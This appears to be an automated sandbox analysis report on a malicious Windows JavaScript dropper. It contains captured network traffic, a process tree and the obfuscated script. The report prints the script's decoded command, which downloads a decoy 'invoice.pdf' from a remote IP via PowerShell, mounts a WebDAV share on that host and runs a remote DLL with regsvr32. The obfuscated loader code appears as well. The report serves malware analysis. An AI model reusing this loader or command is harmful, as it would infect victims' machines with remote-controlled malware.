69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:33:52.717222929 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:33:52.717235088 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:33:52.717263937 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:33:52.717277050 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 19:33:52.717297077 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 19:33:52.717308998 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 19:33:52.717360973 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 19:33:52.717372894 CET	328	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 19:33:52.717385054 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 19:33:52.722290993 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	6788	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:33:54.218120098 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:33:55.034735918 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:33:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js"
Imagebase:	0x7ff614500000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Imagebase:	0x7ff74ec30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:33:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:33:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74ec30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:33:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d4de0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:33:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:33:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1756,i,13587920428171030533,5355193097296615401,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uroly() {	uroly() ➔ undefined
1	iypmtznor = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var szxtxnbmm = this[jdclrjk + btkrxwz + ahropaxtr + pfucnqnqc + tlyjf + jkbmce + zcfsqik + guouyysze] ( this[uictcmz + uzzmtyp + agequs + ahropaxtr + ibsue + jdclrjk + guouyysze][slidhrugc + ahropaxtr + tlyjf + btkrxwz + guouyysze + tlyjf + mwfln + hyxvholu + sflfwcuo + tlyjf + agequs + guouyysze] ( uictcmz + uzzmtyp + agequs + ahropaxtr + ibsue + jdclrjk + guouyysze + wgdky + uzzmtyp + invufrk + tlyjf + yzoizc + yzoizc ) [qcnstn + tlyjf + lvwsk + qcnstn + tlyjf + btkrxwz + qeeekjj] ( ivnlc + lkzaqcz + semldtsz + lyddmsi + lanynt + slidhrugc + givbwqro + qcnstn + qcnstn + semldtsz + vjvhihe + ppzjyfyjo + lanynt + givbwqro + uzzmtyp + semldtsz + qcnstn + avsjoachn + slidhrugc + uyukgr + zcfsqik + guouyysze + ahropaxtr + uyukgr + yzoizc + mbalqyg + qurepm + btkrxwz + zcfsqik + tlyjf + yzoizc + avsjoachn + jkbmce + zcfsqik + guouyysze + tlyjf + ahropaxtr + zcfsqik + btkrxwz + guouyysze + ibsue + uyukgr + zcfsqik + btkrxwz + yzoizc + avsjoachn + eaykffah + uyukgr + agequs + btkrxwz + yzoizc + tlyjf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( sdvxdgv = 0 ; sdvxdgv < iypmtznor[yzoizc + tlyjf + zcfsqik + lvwsk + guouyysze + invufrk] ; ++ sdvxdgv )
4	{
5	if ( szxtxnbmm == iypmtznor[sdvxdgv] )
6	{
7	szxtxnbmm = true;
8	break ;
9	}
10	}
11	if ( szxtxnbmm !== true )
12	this[uictcmz + uzzmtyp + agequs + ahropaxtr + ibsue + jdclrjk + guouyysze][mcahshrbv + mnmbgng + ibsue + guouyysze] ( );
13	this[uictcmz + uzzmtyp + agequs + ahropaxtr + ibsue + jdclrjk + guouyysze][slidhrugc + ahropaxtr + tlyjf + btkrxwz + guouyysze + tlyjf + mwfln + hyxvholu + sflfwcuo + tlyjf + agequs + guouyysze] ( uictcmz + uzzmtyp + agequs + ahropaxtr + ibsue + jdclrjk + guouyysze + wgdky + uzzmtyp + invufrk + tlyjf + yzoizc + yzoizc ) [ahropaxtr + mnmbgng + zcfsqik] ( agequs + nmygx + qeeekjj + mbalqyg + wphvwqpk + agequs + mbalqyg + jdclrjk + uyukgr + cpbpui + tlyjf + ahropaxtr + pfucnqnqc + invufrk + tlyjf + yzoizc + yzoizc + wgdky + tlyjf + rqrjcjs + tlyjf + mbalqyg + dokiikiu + slidhrugc + uyukgr + nmygx + nmygx + btkrxwz + zcfsqik + qeeekjj + mbalqyg + pzjmm + jkbmce + zcfsqik + muagoh + uyukgr + peyslu + tlyjf + dokiikiu + uictcmz + tlyjf + hyxvholu + qcnstn + tlyjf + bueboban + mnmbgng + tlyjf + pfucnqnqc + guouyysze + mbalqyg + dokiikiu + mwfln + mnmbgng + guouyysze + kglddlkrl + ibsue + yzoizc + tlyjf + mbalqyg + qiqmd + guouyysze + tlyjf + nmygx + jdclrjk + qiqmd + avsjoachn + ibsue + zcfsqik + muagoh + uyukgr + ibsue + agequs + tlyjf + wgdky + jdclrjk + qeeekjj + rxzkvtu + mbalqyg + invufrk + guouyysze + guouyysze + jdclrjk + vjhny + wphvwqpk + wphvwqpk + fhsaw + kzwvuezu + tidyc + wgdky + fhsaw + ejzppq + tidyc + wgdky + fhsaw + wgdky + unctstgj + aqnyufci + tcnrw + wphvwqpk + ibsue + zcfsqik + muagoh + uyukgr + ibsue + agequs + tlyjf + wgdky + jdclrjk + invufrk + jdclrjk + pzjmm + itqpo + itqpo + pfucnqnqc + guouyysze + btkrxwz + ahropaxtr + guouyysze + mbalqyg + qiqmd + guouyysze + tlyjf + nmygx + jdclrjk + qiqmd + avsjoachn + ibsue + zcfsqik + muagoh + uyukgr + ibsue + agequs + tlyjf + wgdky + jdclrjk + qeeekjj + rxzkvtu + itqpo + itqpo + agequs + nmygx + qeeekjj + mbalqyg + wphvwqpk + agequs + mbalqyg + zcfsqik + tlyjf + guouyysze + mbalqyg + mnmbgng + pfucnqnqc + tlyjf + mbalqyg + avsjoachn + avsjoachn + fhsaw + kzwvuezu + tidyc + wgdky + fhsaw + ejzppq + tidyc + wgdky + fhsaw + wgdky + unctstgj + aqnyufci + tcnrw + aspup + etjrnltu + etjrnltu + etjrnltu + etjrnltu + avsjoachn + qeeekjj + btkrxwz + muagoh + cpbpui + cpbpui + cpbpui + ahropaxtr + uyukgr + uyukgr + guouyysze + avsjoachn + itqpo + itqpo + agequs + nmygx + qeeekjj + mbalqyg + wphvwqpk + agequs + mbalqyg + ahropaxtr + tlyjf + lvwsk + pfucnqnqc + muagoh + ahropaxtr + tidyc + unctstgj + mbalqyg + wphvwqpk + pfucnqnqc + mbalqyg + avsjoachn + avsjoachn + fhsaw + kzwvuezu + tidyc + wgdky + fhsaw + ejzppq + tidyc + wgdky + fhsaw + wgdky + unctstgj + aqnyufci + tcnrw + aspup + etjrnltu + etjrnltu + etjrnltu + etjrnltu + avsjoachn + qeeekjj + btkrxwz + muagoh + cpbpui + cpbpui + cpbpui + ahropaxtr + uyukgr + uyukgr + guouyysze + avsjoachn + etjrnltu + unctstgj + qqtldez + fhsaw + etjrnltu + qqtldez + btota + qqtldez + unctstgj + unctstgj + unctstgj + etjrnltu + etjrnltu + wgdky + qeeekjj + yzoizc + yzoizc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll",0,false) ➔ 0
14	}
15	qeeekjj = "a";
16	qeeekjj = "J";
17	qeeekjj = "J";
18	qeeekjj = "s";
19	qeeekjj = "d";
20	qeeekjj = "f";
21	qeeekjj = "p";
22	qeeekjj = "z";
23	qeeekjj = "a";
24	qeeekjj = "M";
25	qeeekjj = "B";
26	qeeekjj = "J";
27	qeeekjj = "a";
28	qeeekjj = "w";
29	qeeekjj = "O";
30	qeeekjj = "o";
31	qeeekjj = "r";
32	qeeekjj = "d";
33	mnmbgng = "i";
34	mnmbgng = "l";
35	mnmbgng = "N";
36	mnmbgng = "e";
37	mnmbgng = "u";
38	mnmbgng = "E";
39	mnmbgng = "A";
40	mnmbgng = "Q";
41	mnmbgng = "G";
42	mnmbgng = "V";
43	mnmbgng = "i";
44	mnmbgng = "v";
45	mnmbgng = "B";
46	mnmbgng = "r";
47	mnmbgng = "t";
48	mnmbgng = "H";
49	mnmbgng = "O";
50	mnmbgng = "y";
51	mnmbgng = "u";
52	sflfwcuo = "A";
53	sflfwcuo = "u";
54	sflfwcuo = "W";
55	sflfwcuo = "Z";
56	sflfwcuo = "V";
57	sflfwcuo = "B";
58	sflfwcuo = "f";
59	sflfwcuo = "v";
60	sflfwcuo = "j";
61	sflfwcuo = "k";
62	sflfwcuo = "d";
63	sflfwcuo = "h";
64	sflfwcuo = "e";
65	sflfwcuo = "F";
66	sflfwcuo = "C";
67	sflfwcuo = "M";
68	sflfwcuo = "M";
69	sflfwcuo = "F";
70	sflfwcuo = "f";
71	sflfwcuo = "D";
72	sflfwcuo = "l";
73	sflfwcuo = "j";
74	eaykffah = "t";
75	eaykffah = "E";
76	eaykffah = "j";
77	eaykffah = "d";
78	eaykffah = "J";
79	eaykffah = "L";
80	cpbpui = "l";
81	cpbpui = "a";
82	cpbpui = "M";
83	cpbpui = "e";
84	cpbpui = "F";
85	cpbpui = "y";
86	cpbpui = "X";
87	cpbpui = "q";
88	cpbpui = "K";
89	cpbpui = "C";
90	cpbpui = "w";
91	hyxvholu = "D";
92	hyxvholu = "J";
93	hyxvholu = "b";
94	aqnyufci = "m";
95	aqnyufci = "e";
96	aqnyufci = "a";
97	aqnyufci = "m";
98	aqnyufci = "b";
99	aqnyufci = "P";
100	aqnyufci = "q";
101	aqnyufci = "l";
102	aqnyufci = "v";
103	aqnyufci = "y";
104	aqnyufci = "u";
105	aqnyufci = "n";
106	aqnyufci = "L";
107	aqnyufci = "h";
108	aqnyufci = "j";
109	aqnyufci = "W";
110	aqnyufci = "R";
111	aqnyufci = "w";
112	aqnyufci = "T";
113	aqnyufci = "E";
114	aqnyufci = "b";
115	aqnyufci = "0";
116	lanynt = "f";
117	lanynt = "s";
118	lanynt = "k";
119	lanynt = "f";
120	lanynt = "e";
121	lanynt = "P";
122	lanynt = "E";
123	lanynt = "z";
124	lanynt = "t";
125	lanynt = "t";
126	lanynt = "y";
127	lanynt = "e";
128	lanynt = "I";
129	lanynt = "a";
130	lanynt = "g";
131	lanynt = "O";
132	lanynt = "R";
133	lanynt = "y";
134	lanynt = "s";
135	lanynt = "e";
136	lanynt = "L";
137	lanynt = "A";
138	lanynt = "d";
139	lanynt = "E";
140	lanynt = "I";
141	lanynt = "Z";
142	lanynt = "U";
143	lanynt = "X";
144	lanynt = "M";
145	lanynt = "p";
146	lanynt = "V";
147	lanynt = "P";
148	lanynt = "_";
149	kglddlkrl = "M";
150	kglddlkrl = "J";
151	kglddlkrl = "t";
152	kglddlkrl = "A";
153	kglddlkrl = "H";
154	kglddlkrl = "T";
155	kglddlkrl = "e";
156	kglddlkrl = "d";
157	kglddlkrl = "A";
158	kglddlkrl = "E";
159	kglddlkrl = "P";
160	kglddlkrl = "E";
161	kglddlkrl = "G";
162	kglddlkrl = "Y";
163	kglddlkrl = "O";
164	kglddlkrl = "g";
165	kglddlkrl = "t";
166	kglddlkrl = "P";
167	kglddlkrl = "K";
168	kglddlkrl = "F";
169	qiqmd = "N";
170	qiqmd = "w";
171	qiqmd = "Y";
172	qiqmd = "z";
173	qiqmd = "W";
174	qiqmd = "k";
175	qiqmd = "v";
176	qiqmd = "h";
177	qiqmd = "p";
178	qiqmd = "n";
179	qiqmd = "U";
180	qiqmd = "Y";
181	qiqmd = "m";
182	qiqmd = "E";
183	qiqmd = "X";
184	qiqmd = "H";
185	qiqmd = "l";
186	qiqmd = "J";
187	qiqmd = "%";
188	tidyc = "M";
189	tidyc = "T";
190	tidyc = "B";
191	tidyc = "l";
192	tidyc = "V";
193	tidyc = "Z";
194	tidyc = "J";
195	tidyc = "V";
196	tidyc = "J";
197	tidyc = "z";
198	tidyc = "f";
199	tidyc = "z";
200	tidyc = "C";
201	tidyc = "w";
202	tidyc = "t";
203	tidyc = "d";
204	tidyc = "Y";
205	tidyc = "Y";
206	tidyc = "v";
207	tidyc = "f";
208	tidyc = "A";
209	tidyc = "o";
210	tidyc = "S";
211	tidyc = "y";
212	tidyc = "K";
213	tidyc = "n";
214	tidyc = "d";
215	tidyc = "l";
216	tidyc = "s";
217	tidyc = "3";
218	yzoizc = "l";
219	lyddmsi = "W";
220	lyddmsi = "z";
221	lyddmsi = "e";
222	lyddmsi = "y";
223	lyddmsi = "W";
224	lyddmsi = "u";
225	lyddmsi = "d";
226	lyddmsi = "O";
227	lyddmsi = "u";
228	lyddmsi = "B";
229	lyddmsi = "w";
230	lyddmsi = "V";
231	lyddmsi = "v";
232	lyddmsi = "u";
233	lyddmsi = "L";
234	lyddmsi = "J";
235	lyddmsi = "i";
236	lyddmsi = "A";
237	lyddmsi = "w";
238	lyddmsi = "I";
239	lyddmsi = "Z";
240	lyddmsi = "L";
241	lyddmsi = "f";
242	lyddmsi = "Y";
243	lyddmsi = "n";
244	lyddmsi = "U";
245	lyddmsi = "b";
246	lyddmsi = "L";
247	lyddmsi = "v";
248	lyddmsi = "N";
249	lyddmsi = "m";
250	lyddmsi = "f";
251	lyddmsi = "g";
252	lyddmsi = "a";
253	lyddmsi = "o";
254	lyddmsi = "Y";
255	givbwqro = "p";
256	givbwqro = "e";
257	givbwqro = "R";
258	givbwqro = "q";
259	givbwqro = "V";
260	givbwqro = "U";
261	givbwqro = "o";
262	givbwqro = "X";
263	givbwqro = "i";
264	givbwqro = "j";
265	givbwqro = "H";
266	givbwqro = "V";
267	givbwqro = "O";
268	givbwqro = "a";
269	givbwqro = "a";
270	givbwqro = "W";
271	givbwqro = "z";
272	givbwqro = "k";
273	givbwqro = "M";
274	givbwqro = "j";
275	givbwqro = "W";
276	givbwqro = "o";
277	givbwqro = "U";
278	guouyysze = "r";
279	guouyysze = "S";
280	guouyysze = "Z";
281	guouyysze = "g";
282	guouyysze = "p";
283	guouyysze = "B";
284	guouyysze = "J";
285	guouyysze = "g";
286	guouyysze = "q";
287	guouyysze = "y";
288	guouyysze = "J";
289	guouyysze = "g";
290	guouyysze = "A";
291	guouyysze = "J";
292	guouyysze = "t";
293	aspup = "h";
294	aspup = "g";
295	aspup = "Q";
296	aspup = "Z";
297	aspup = "X";
298	aspup = "w";
299	aspup = "K";
300	aspup = "o";
301	aspup = "Z";
302	aspup = "p";
303	aspup = "n";
304	aspup = "Q";
305	aspup = "h";
306	aspup = "l";
307	aspup = "S";
308	aspup = "l";
309	aspup = "B";
310	aspup = "l";
311	aspup = "F";
312	aspup = "b";
313	aspup = "v";
314	aspup = "H";
315	aspup = "Q";
316	aspup = "W";
317	aspup = "s";
318	aspup = "C";
319	aspup = "a";
320	aspup = "E";
321	aspup = "F";
322	aspup = "D";
323	aspup = "@";
324	tcnrw = "Q";
325	tcnrw = "r";
326	tcnrw = "s";
327	tcnrw = "O";
328	tcnrw = "W";
329	tcnrw = "W";
330	tcnrw = "B";
331	tcnrw = "d";
332	tcnrw = "k";
333	tcnrw = "t";
334	tcnrw = "X";
335	tcnrw = "M";
336	tcnrw = "d";
337	tcnrw = "w";
338	tcnrw = "I";
339	tcnrw = "R";
340	tcnrw = "p";
341	tcnrw = "O";
342	tcnrw = "P";
343	tcnrw = "Z";
344	tcnrw = "u";
345	tcnrw = "d";
346	tcnrw = "I";
347	tcnrw = "A";
348	tcnrw = "n";
349	tcnrw = "l";
350	tcnrw = "L";
351	tcnrw = "S";
352	tcnrw = "5";
353	mwfln = "y";
354	mwfln = "k";
355	mwfln = "d";
356	mwfln = "I";
357	mwfln = "Y";
358	mwfln = "e";
359	mwfln = "D";
360	mwfln = "g";
361	mwfln = "O";
362	rqrjcjs = "x";
363	rqrjcjs = "L";
364	rqrjcjs = "H";
365	rqrjcjs = "c";
366	rqrjcjs = "g";
367	rqrjcjs = "P";
368	rqrjcjs = "M";
369	rqrjcjs = "x";
370	etjrnltu = "R";
371	etjrnltu = "s";
372	etjrnltu = "8";
373	dokiikiu = "b";
374	dokiikiu = "I";
375	dokiikiu = "G";
376	dokiikiu = "y";
377	dokiikiu = "N";
378	dokiikiu = "c";
379	dokiikiu = "i";
380	dokiikiu = "S";
381	dokiikiu = "U";
382	dokiikiu = "K";
383	dokiikiu = "a";
384	dokiikiu = "Y";
385	dokiikiu = "o";
386	dokiikiu = "G";
387	dokiikiu = "H";
388	dokiikiu = "B";
